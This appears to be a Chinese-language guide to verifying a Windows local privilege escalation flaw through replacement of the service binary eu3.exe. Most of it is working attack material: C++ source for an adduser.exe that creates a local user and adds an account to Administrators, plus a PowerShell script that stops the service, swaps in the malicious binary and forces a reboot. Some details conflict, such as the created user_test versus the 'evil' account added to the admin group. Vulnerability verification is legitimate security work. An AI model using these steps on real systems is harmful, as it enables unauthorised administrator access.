一、什么是LPE 漏洞
LPE 是指攻击者利用系统漏洞将普通用户权限提升到系统管理员或SYSTEM权限的安全漏洞。在Windows系统中最典型的就是从标准用户提升到SYSTEM/Administrator权限。
二、验证思路
被测应用: eu3.exe(admin 安装运行,服务起来后,会自启动)
用户:user(在admin 组,有管理员权限)、seewo(在users 组,没有管理员权限)
过程:seewo 用户创建一个恶意文件 adduser.exe,把eu3.exe 给替换,重启服务或系统,触发恶意文件被执行(让替换后的 eu3.exe 运行起来),利用了管理员权限创建了一个 用户
三、准备工作
1、查看所有第三方安装服务(主要找到 eu3.exe)
2、获取window 本地的用户权限情况 和 用icacls 枚举关联的权限
系统上的 BUILTIN\Administrators(F) Administrators 对该 eu3.exe 有完全的读写权限(括号中的F 则为完全控制可以替换),如果新增一个用户 seewo,把eu3.exe 替换成恶意二进制文件(users 组的seewo没有权限运行),然后通过重启服务或重启计算机来触发这个恶意二进制文件
3、在Windows创建用户并添加到管理员组
# 创建用户(设置密码为123456)
net user seewo 123456 /add
# 验证用户创建和组成员身份
net user seewo
# 检查当前权限
whoami /groups
# 删除用户
net user seewo /delete
4、创建替换的二进制文件,编译成 exe 文件
创建用户需要admin 的权限,如果运行并创建成功成功,说明程序替换并执行成功。
#include <cstdlib>
#include <iostream>
int main() {
int result;
// 执行系统命令
result = std::system("net user user_test 123456 /add");
if (result != 0) {
std::cerr << "添加用户失败" << std::endl;
}
result = std::system("net localgroup administrators evil /add");
if (result != 0) {
std::cerr << "添加到管理员组失败" << std::endl;
}
return 0;
}
创建 adduser.cpp 文件,在 vs 2022 的编译环境下编译成 adduser.exe 文件
编译命令器 在对应的目录下,运行命令
cl /EHsc adduser.cpp /Fe:adduser.exe
四、验证过程
1、查找 被测进程路径对应的服务
# 查看所有运行的服务
Get-Service | Where-Object {$_.Status -eq "Running"} | Format-Table Name, DisplayName, Status
# 按进程路径查找服务
$targetPath = "C:\ProgramData\eu3.exe"
Get-WmiObject win32_service | Where-Object {$_.PathName -like "*$targetPath*"} | Format-Table Name, DisplayName, PathName, StartName
2、编写 PowerShell 脚本,利用eu3 的admin 运行权限,执行 adduser.exe 文件,创建admin 组用户
1)查找 被测进程路径对应的服务
# 查看所有运行的服务
Get-Service | Where-Object {$_.Status -eq "Running"} | Format-Table Name, DisplayName, Status
# 按进程路径查找服务
$targetPath = "C:\ProgramData\eu3.exe"
Get-WmiObject win32_service | Where-Object {$_.PathName -like "*$targetPath*"} | Format-Table Name, DisplayName, PathName, StartName
# 查看要恶意替换文件的执行权限
icacls "C:\ProgramData\adduser.exe"
$targetPath = "C:\ProgramData\adduser.exe"
Get-WmiObject win32_service | Where-Object {$_.PathName -like "*$targetPath*"} | Format-Table Name, DisplayName, PathName, StartName
2)需要把adduser.exe 的执行读写权限开放给 seewo 这个users 组的用户
把adduser.exe放到对应的目录下,右键adduser.exe 【属性】-->【安全】,添加文件权限
3)编写powershell 脚本
# Verify-Replacement.ps1
# 编码设置
$OutputEncoding = [System.Text.Encoding]::UTF8
$PSDefaultParameterValues['*:Encoding'] = 'utf8'
# 参数配置
$OriginalExePath = "C:\ProgramData\eu3.exe"
$NewExePath = "C:\ProgramData\adduser.exe"
$BackupPath = "C:\ProgramData\eu3.exe.bak"
$RenamedOriginalPath = "C:\ProgramData\test.exe"
$LogPath = "C:\ProgramData\replace_test.log"
$ServiceName = "eu3"
$RebootFlagFile = "C:\ProgramData\reboot_flag.txt"
# 确保日志目录存在
$LogDir = Split-Path $LogPath -Parent
if (-not (Test-Path $LogDir)) {
New-Item -ItemType Directory -Path $LogDir -Force | Out-Null
}
function Write-Log {
param(
[string]$Message,
[string]$Type = "INFO"
)
$timestamp = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
$logMessage = "[$timestamp] [$Type] $Message"
Add-Content -Path $LogPath -Value $logMessage -Encoding UTF8
Write-Host $logMessage
}
function Stop-ServiceSafe {
param(
[string]$ServiceName
)
try {
$service = Get-Service -Name $ServiceName -ErrorAction Stop
if ($service.Status -eq 'Running') {
Write-Log "正在停止服务 $ServiceName..."
Stop-Service -Name $ServiceName -Force
Start-Sleep -Seconds 2
}
return $true
}
catch {
Write-Log "停止服务失败: $_" "ERROR"
return $false
}
}
function Replace-File {
try {
# 1. 首先停止服务
if (-not (Stop-ServiceSafe -ServiceName $ServiceName)) {
throw "无法停止服务"
}
# 2. 停止相关进程
$processes = Get-Process | Where-Object {$_.Path -eq $OriginalExePath}
foreach ($process in $processes) {
Write-Log "正在停止进程: $($process.Id)"
Stop-Process -Id $process.Id -Force
}
Start-Sleep -Seconds 2
# 3. 重命名原始文件为
Write-Log "正在重命名原始文件为test.ext..."
if (Test-Path $RenamedOriginalPath) {
Remove-Item $RenamedOriginalPath -Force
}
Move-Item -Path $OriginalExePath -Destination $RenamedOriginalPath -Force
# 4. 更改新文件为源文件名
Write-Log "Copy-Item 正在替换源文件的内容,eu3.exe的内容被替换成伪造的文件adduser.exe的内容 ..."
Copy-Item -Path $NewExePath -Destination $OriginalExePath -Force
# 5. 设置新文件权限
$acl = Get-Acl $NewExePath
Set-Acl -Path $OriginalExePath -AclObject $acl
return $true
}
catch {
Write-Log "文件替换失败: $_" "ERROR"
return $false
}
}
function Start-ServiceSafe {
param(
[string]$ServiceName
)
try {
Write-Log "正在启动服务 $ServiceName..."
Start-Service -Name $ServiceName
Start-Sleep -Seconds 5
$service = Get-Service -Name $ServiceName
Write-Log "服务状态: $($service.Status)"
return $service.Status -eq 'Running'
}
catch {
Write-Log "启动服务失败: $_" "ERROR"
return $false
}
}
# 验证用户创建和组成员身份
function Verify-UserCreation {
param(
[string]$Username = "user_test"
)
try {
Write-Log "开始验证用户 $Username 的创建状态和组成员身份..."
# 检查用户是否存在
$user = Get-LocalUser -Name $Username -ErrorAction SilentlyContinue
if ($user) {
Write-Log "用户 $Username 已成功创建"
# 获取用户所属的组
$groups = Get-LocalGroup | Where-Object { (Get-LocalGroupMember $_.Name -ErrorAction SilentlyContinue).Name -contains $user.Name }
if ($groups) {
Write-Log "用户 $Username 属于以下组:"
foreach ($group in $groups) {
Write-Log " - $($group.Name)"
}
} else {
Write-Log "用户 $Username 不属于任何本地组"
}
return $true
} else {
Write-Log "用户 $Username 未创建" "WARNING"
return $false
}
}
catch {
Write-Log "验证用户创建失败: $_" "ERROR"
return $false
}
}
function Get-CurrentUser {
try {
$whoamiOutput = whoami /all
$userInfo = $whoamiOutput | Select-String "用户名:|User Name:"
$userPrivileges = $whoamiOutput | Select-String "特权名称:|Privilege Name:"
Write-Log "当前用户信息:"
Write-Log $userInfo
Write-Log "用户特权:"
foreach ($privilege in $userPrivileges) {
Write-Log $privilege
}
return $whoamiOutput
}
catch {
Write-Log "获取当前用户信息失败: $_" "ERROR"
return $null
}
}
function Restart-System {
Write-Log "系统即将重启..."
Set-Content -Path $RebootFlagFile -Value "Reboot initiated"
Start-Process "shutdown.exe" -ArgumentList "/r /t 0" -NoNewWindow
}
# 主验证流程
try {
if (Test-Path $RebootFlagFile) {
Write-Log "系统重启后继续执行..."
Remove-Item $RebootFlagFile -Force
} else {
Write-Log "开始验证流程"
Write-Log "-------------------"
# 获取并记录当前用户信息
Write-Log "正在获取当前用户信息..."
$currentUserInfo = Get-CurrentUser
if ($currentUserInfo -eq $null) {
Write-Log "无法获取当前用户信息,请检查权限" "WARNING"
}
# 1. 检查文件
Write-Log "正在检查文件..."
if (-not (Test-Path $OriginalExePath)) {
throw "原始文件不存在"
}
if (-not (Test-Path $NewExePath)) {
throw "替换文件不存在"
}
# 2. 备份原始文件
Write-Log "正在备份原始文件..."
Copy-Item -Path $OriginalExePath -Destination $BackupPath -Force -ErrorAction Stop
Write-Log "备份完成: $BackupPath"
# 3. 替换文件
Write-Log "正在替换文件..."
if (-not (Replace-File)) {
throw "文件替换失败"
}
# 4. 启动服务
if (-not (Start-ServiceSafe -ServiceName $ServiceName)) {
throw "服务启动失败"
}
# 5. 重启系统
Restart-System
exit
}
# 6. 验证用户创建和组成员身份
if (-not (Verify-UserCreation)) {
throw "用户验证失败"
}
Write-Log "验证完成"
Write-Log "-------------------"
}
catch {
Write-Log "验证过程失败: $_" "ERROR"
# 恢复流程
Write-Log "开始恢复流程..."
# 停止服务
Stop-ServiceSafe -ServiceName $ServiceName
# 恢复文件
if (Test-Path $RenamedOriginalPath) {
Write-Log "正在恢复原始文件..."
if (Test-Path $OriginalExePath) {
Remove-Item $OriginalExePath -Force
}
Move-Item -Path $RenamedOriginalPath -Destination $OriginalExePath -Force
Write-Log "原始文件已恢复"
}
elseif (Test-Path $BackupPath) {
Write-Log "正在从备份恢复..."
Copy-Item -Path $BackupPath -Destination $OriginalExePath -Force
Write-Log "已从备份恢复"
}
# 重启服务
Start-ServiceSafe -ServiceName $ServiceName
}
finally {
# 清理工作
Write-Log "正在进行清理..."
if (Test-Path $BackupPath) {
Remove-Item $BackupPath -Force -ErrorAction SilentlyContinue
Write-Log "已删除备份文件"
}
if (Test-Path $RebootFlagFile) {
Remove-Item $RebootFlagFile -Force -ErrorAction SilentlyContinue
Write-Log "已删除重启标志文件"
}
}
4)安装有漏洞的包,运行脚本
# 在文件所在目录下,运行验证脚本
.\Verify-Replacement.ps1
运行的过程中会触发系统重启,重启后查看用户创建情况,用户创建成功,漏洞复现
5)安装没有漏洞的包,运行脚本
运行的过程中,修改文件被拦截,无法访问后续的文件